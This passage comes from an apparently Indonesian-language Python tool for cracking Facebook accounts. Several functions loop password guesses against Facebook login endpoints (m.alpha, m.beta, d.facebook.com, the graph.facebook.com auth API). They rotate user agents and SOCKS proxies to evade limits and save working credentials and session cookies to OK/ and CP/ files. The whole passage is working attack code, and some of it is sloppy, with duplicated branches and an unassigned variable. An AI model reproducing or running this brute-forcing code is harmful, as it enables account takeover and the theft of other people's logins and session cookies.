  1823.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1824.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1825.                     cetak(CYXID)
  1826.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1827.                     akun.append(idf+'|'+pw)
  1828.                     break
  1829.                    
  1830.                 if 'no' in gabriel:
  1831.                     cp+=1
  1832.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1833.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1834.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1835.                     cetak(CYXID)
  1836.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1837.                     akun.append(idf+'|'+pw)
  1838.                     ceker(idf,pw)
  1839.                     break
  1840.             elif "c_user" in ses.cookies.get_dict().keys():
  1841.                 if 'no' in taplikasi:
  1842.                     ok+=1
  1843.                     coki=po.cookies.get_dict()
  1844.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1845.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1846.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1847.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1848.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1849.                     cetak(CYXID)
  1850.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1851.                     break
  1852.                 elif 'ya' in taplikasi:
  1853.                     ok+=1
  1854.                     coki=po.cookies.get_dict()
  1855.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1856.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1857.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1858.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1859.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1860.                     cetak(CYXID)
  1861.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1862.                     cek_apk(kuki)
  1863.                     break      
  1864.                
  1865.             else:
  1866.                 continue
  1867.         except requests.exceptions.ConnectionError:
  1868.             time.sleep(31)
  1869.     loop+=1
  1870.    
  1871. #--------------------[ METODE RANDOM ]-----------------#
  1872. def metod17(idf,pwv):
  1873.     global loop,ok,cp
  1874.     prog.update(des,description=f"[bold green]m.alpha.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1875.     prog.advance(des)
  1876.     ua = random.choice(ugen)
  1877.     ua2 = random.choice(ugen2)
  1878.     ses = requests.Session()
  1879.     for pw in pwv:
  1880.         try:
  1881.             if 'ya' in ualuh: ua = ualu[0]
  1882.             nip=random.choice(prox)
  1883.             proxs= {'http': 'socks5://'+nip}
  1884.             ses.headers.update({"Host": "m.alpha.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1885.             p = ses.get("https://m.alpha.facebook.com/login.php?skip_api_login=1&api_key=274266067164&kid_directed_site=0&app_id=274266067164&signed_next=1&next=https%3A%2F%2Fm.alpha.facebook.com%2Fv2.7%2Fdialog%2Foauth%3Fapp_id%3D274266067164%26cbt%3D1675237736936%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df33eeedf0d23c74%2526domain%253Did.pinterest.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fid.pinterest.com%25252Ff4c01e9564da44%2526relation%253Dopener%26client_id%3D274266067164%26display%3Dtouch%26domain%3Did.pinterest.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fid.pinterest.com%252Flogin%26locale%3Did_ID%26logger_id%3Df27fa04cd920e98%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df96f44d15f7ea8%2526domain%253Did.pinterest.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fid.pinterest.com%25252Ff4c01e9564da44%2526relation%253Dopener%2526frame%253Df7efd9d84b96a8%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Dpublic_profile%252Cemail%252Cuser_birthday%252Cuser_friends%26sdk%3Djoey%26version%3Dv2.7%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df96f44d15f7ea8%26domain%3Did.pinterest.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fid.pinterest.com%252Ff4c01e9564da44%26relation%3Dopener%26frame%3Df7efd9d84b96a8%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1886.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  1887.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1888.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1889.             heade={
  1890.             "Host": "m.alpha.facebook.com",
  1891.             "content-length": f"{len(str(dataa))}",
  1892.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  1893.             "origin": "https://m.alpha.facebook.com",
  1894.             "content-type": "application/x-www-form-urlencoded",
  1895.             "user-agent": ua,
  1896.             "accept": "*/*",
  1897.             "x-requested-with": "com.microsoft.bing",
  1898.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  1899.             "sec-ch-ua-platform": '"Android"',
  1900.             "sec-ch-ua-mobile": "?1",
  1901.             "sec-fetch-site": "same-origin",
  1902.             "sec-fetch-mode": "cors",
  1903.             "sec-fetch-dest": "empty",
  1904.             "sec-fetch-user": "?1",
  1905.             "referer": "https://m.alpha.facebook.com/v2.7/dialog/oauth?app_id=274266067164&cbt=1675237736936&channel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df33eeedf0d23c74%26domain%3Did.pinterest.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fid.pinterest.com%252Ff4c01e9564da44%26relation%3Dopener&client_id=274266067164&display=touch&domain=id.pinterest.com&e2e=%7B%7D&fallback_redirect_uri=https%3A%2F%2Fid.pinterest.com%2Flogin&locale=id_ID&logger_id=f27fa04cd920e98&origin=2&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df96f44d15f7ea8%26domain%3Did.pinterest.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fid.pinterest.com%252Ff4c01e9564da44%26relation%3Dopener%26frame%3Df7efd9d84b96a8&response_type=token%2Csigned_request%2Cgraph_domain&scope=public_profile%2Cemail%2Cuser_birthday%2Cuser_friends&sdk=joey&version=v2.7&ret=login&fbapp_pres=0&tp=unspecified",
  1906.             "accept-encoding": "gzip, deflate br",
  1907.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  1908.             }
  1909.             po = ses.post('https://m.alpha.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1910.             if "checkpoint" in po.cookies.get_dict().keys():           
  1911.            
  1912.                 if 'no' in gabriel:
  1913.                     cp+=1
  1914.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1915.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1916.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1917.                     cetak(CYXID)
  1918.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1919.                     akun.append(idf+'|'+pw)
  1920.                     break
  1921.                    
  1922.                 if 'no' in gabriel:
  1923.                     cp+=1
  1924.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1925.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1926.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1927.                     cetak(CYXID)
  1928.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1929.                     akun.append(idf+'|'+pw)
  1930.                     ceker(idf,pw)
  1931.                     break
  1932.             elif "c_user" in ses.cookies.get_dict().keys():
  1933.                 if 'no' in taplikasi:
  1934.                     ok+=1
  1935.                     coki=po.cookies.get_dict()
  1936.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1937.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1938.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1939.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1940.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1941.                     cetak(CYXID)
  1942.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1943.                     break
  1944.                 elif 'ya' in taplikasi:
  1945.                     ok+=1
  1946.                     coki=po.cookies.get_dict()
  1947.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1948.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  1949.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1950.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  1951.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1952.                     cetak(CYXID)
  1953.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1954.                     cek_apk(kuki)
  1955.                     break      
  1956.                
  1957.             else:
  1958.                 continue
  1959.         except requests.exceptions.ConnectionError:
  1960.             time.sleep(31)
  1961.     loop+=1
  1962.        
  1963. def metod14(idf,pwv):
  1964.     global loop,ok,cp
  1965.     prog.update(des,description=f"[bold green]m.beta.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  1966.     prog.advance(des)
  1967.     ua = random.choice(ugen)
  1968.     ua2 = random.choice(ugen2)
  1969.     ses = requests.Session()
  1970.     for pw in pwv:
  1971.         try:
  1972.             if 'ya' in ualuh: ua = ualu[0]
  1973.             nip=random.choice(prox)
  1974.             proxs= {'http': 'socks4://'+nip}
  1975.             ses.headers.update({'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1976.             p = ses.get('https://m.beta.facebook.com/?locale=id_ID&_rdr')
  1977.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.beta.facebook.com/login/save-device/?login_source=login","flow":"login_no_pin","pass":pw,}
  1978.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1979.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1980.             heade={'Host': 'm.beta.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.beta.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.beta.facebook.com/?locale=id_ID&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1981.             po = ses.post('https://m.beta.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1982.             if "checkpoint" in po.cookies.get_dict().keys():           
  1983.            
  1984.                 if 'no' in gabriel:
  1985.                     cp+=1
  1986.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  1987.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1988.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1989.                     cetak(CYXID)
  1990.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1991.                     akun.append(idf+'|'+pw)
  1992.                     break
  1993.                    
  1994.                 if 'no' in gabriel:
  1995.                     cp+=1
  1996.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  1997.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  1998.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  1999.                     cetak(CYXID)
  2000.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2001.                     akun.append(idf+'|'+pw)
  2002.                     ceker(idf,pw)
  2003.                     break
  2004.             elif "c_user" in ses.cookies.get_dict().keys():
  2005.                 if 'no' in taplikasi:
  2006.                     ok+=1
  2007.                     coki=po.cookies.get_dict()
  2008.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2009.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2010.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2011.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2012.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2013.                     cetak(CYXID)
  2014.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2015.                     break
  2016.                 elif 'ya' in taplikasi:
  2017.                     ok+=1
  2018.                     coki=po.cookies.get_dict()
  2019.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2020.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2021.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2022.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2023.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2024.                     cetak(CYXID)
  2025.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2026.                     cek_apk(kuki)
  2027.                     break      
  2028.                
  2029.             else:
  2030.                 continue
  2031.         except requests.exceptions.ConnectionError:
  2032.             time.sleep(31)
  2033.     loop+=1
  2034.    
  2035. def metod15(idf,pwv):
  2036.     global loop,ok,cp
  2037.     prog.update(des,description=f"[bold green]graph.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  2038.     prog.advance(des)
  2039.     ua = random.choice(ugen)
  2040.     ua2 = random.choice(ugen2)
  2041.     ses = requests.Session()
  2042.     for pw in pwv:
  2043.         try:
  2044.             if 'ya' in ualuh: ua = ualu[0]
  2045.             nip=random.choice(prox)
  2046.             proxs= {'http': 'socks5://'+nip}
  2047.             params = {
  2048.                 "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
  2049.                 "sdk_version": {random.randint(1,26)},
  2050.                 "email": idf,
  2051.                 "locale": "en_US",
  2052.                 "password": pw,
  2053.                 "sdk": "android",
  2054.                 "generate_session_cookies": "1",
  2055.                 "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
  2056.             }
  2057.             headers = {
  2058.                 "Host": "graph.facebook.com",
  2059.                 "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
  2060.                 "x-fb-sim-hni": str(random.randint(20000, 40000)),
  2061.                 "x-fb-net-hni": str(random.randint(20000, 40000)),
  2062.                 "x-fb-connection-quality": "EXCELLENT",
  2063.                 "user-agent": ua,
  2064.                 "content-type": "application/x-www-form-urlencoded",
  2065.                 "x-fb-http-engine": "Liger"
  2066.             }
  2067.             post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
  2068.             if "User must verify their account" in post.text:          
  2069.            
  2070.                 if 'no' in gabriel:
  2071.                     cp+=1
  2072.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  2073.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2074.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2075.                     cetak(CYXID)
  2076.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2077.                     akun.append(idf+'|'+pw)
  2078.                     break
  2079.                    
  2080.                 if 'no' in gabriel:
  2081.                     cp+=1
  2082.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  2083.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2084.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2085.                     cetak(CYXID)
  2086.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2087.                     akun.append(idf+'|'+pw)
  2088.                     ceker(idf,pw)
  2089.                     break
  2090.             elif "session_key" in post.text and "EAA" in post.text:
  2091.                 if 'no' in taplikasi:
  2092.                     ok+=1
  2093.                     coki=po.cookies.get_dict()
  2094.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2095.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2096.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2097.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2098.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2099.                     cetak(CYXID)
  2100.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2101.                     break
  2102.                 elif 'ya' in taplikasi:
  2103.                     ok+=1
  2104.                     coki=po.cookies.get_dict()
  2105.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2106.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2107.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2108.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2109.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2110.                     cetak(CYXID)
  2111.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2112.                     cek_apk(kuki)
  2113.                     break      
  2114.                
  2115.             else:
  2116.                 continue
  2117.         except requests.exceptions.ConnectionError:
  2118.             time.sleep(31)
  2119.     loop+=1            
  2120.    
  2121. def metod16(idf,pwv):
  2122.     global loop,ok,cp
  2123.     prog.update(des,description=f"[bold green]d.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  2124.     prog.advance(des)
  2125.     ua = random.choice(ugen)
  2126.     ua2 = random.choice(ugen2)
  2127.     ses = requests.Session()
  2128.     for pw in pwv:
  2129.         try:
  2130.             if 'ya' in ualuh: ua = ualu[0]
  2131.             nip=random.choice(prox)
  2132.             proxs= {'http': 'socks5://'+nip}
  2133.             ses.headers.update({'Host': 'd.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  2134.             p = ses.get('https://d.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  2135.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://d.facebook.com/login.php?skip_api_login=1&api_key=166363243399924&kid_directed_site=0&app_id=166363243399924&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D166363243399924%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fthirdparty.aliexpress.com%252Ffbcallback.htm%26scope%3Demail%252Cpublic_profile%252Cuser_messenger_contact%26messenger_page_id%3D335963307560%26state%3DR48laUVd0rPWsRvHJFTKtTS5cFr8ZG%252BCRYABU4qVvPvRK37pQK5uQWiFs93IY9a1y%252BXsxIsvOY60q78FjJ9ECtWPR1L4b%252B1AZ1XMmotKnilXlAe8Md1jf1VZ61FtHvT%252F%252F6UBc1gqUwQEVwfai3Ztnal%252F%252FfWiuwJ31qY%252FAoUvvPzJa%252BA66Ywk8nnPqNBdXBi6%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D7720cbb3-6ccb-48be-8820-8775c6c7b67d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fthirdparty.aliexpress.com%2Ffbcallback.htm%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR48laUVd0rPWsRvHJFTKtTS5cFr8ZG%252BCRYABU4qVvPvRK37pQK5uQWiFs93IY9a1y%252BXsxIsvOY60q78FjJ9ECtWPR1L4b%252B1AZ1XMmotKnilXlAe8Md1jf1VZ61FtHvT%252F%252F6UBc1gqUwQEVwfai3Ztnal%252F%252FfWiuwJ31qY%252FAoUvvPzJa%252BA66Ywk8nnPqNBdXBi6%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  2136.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  2137.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  2138.             heade={'Host': 'd.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 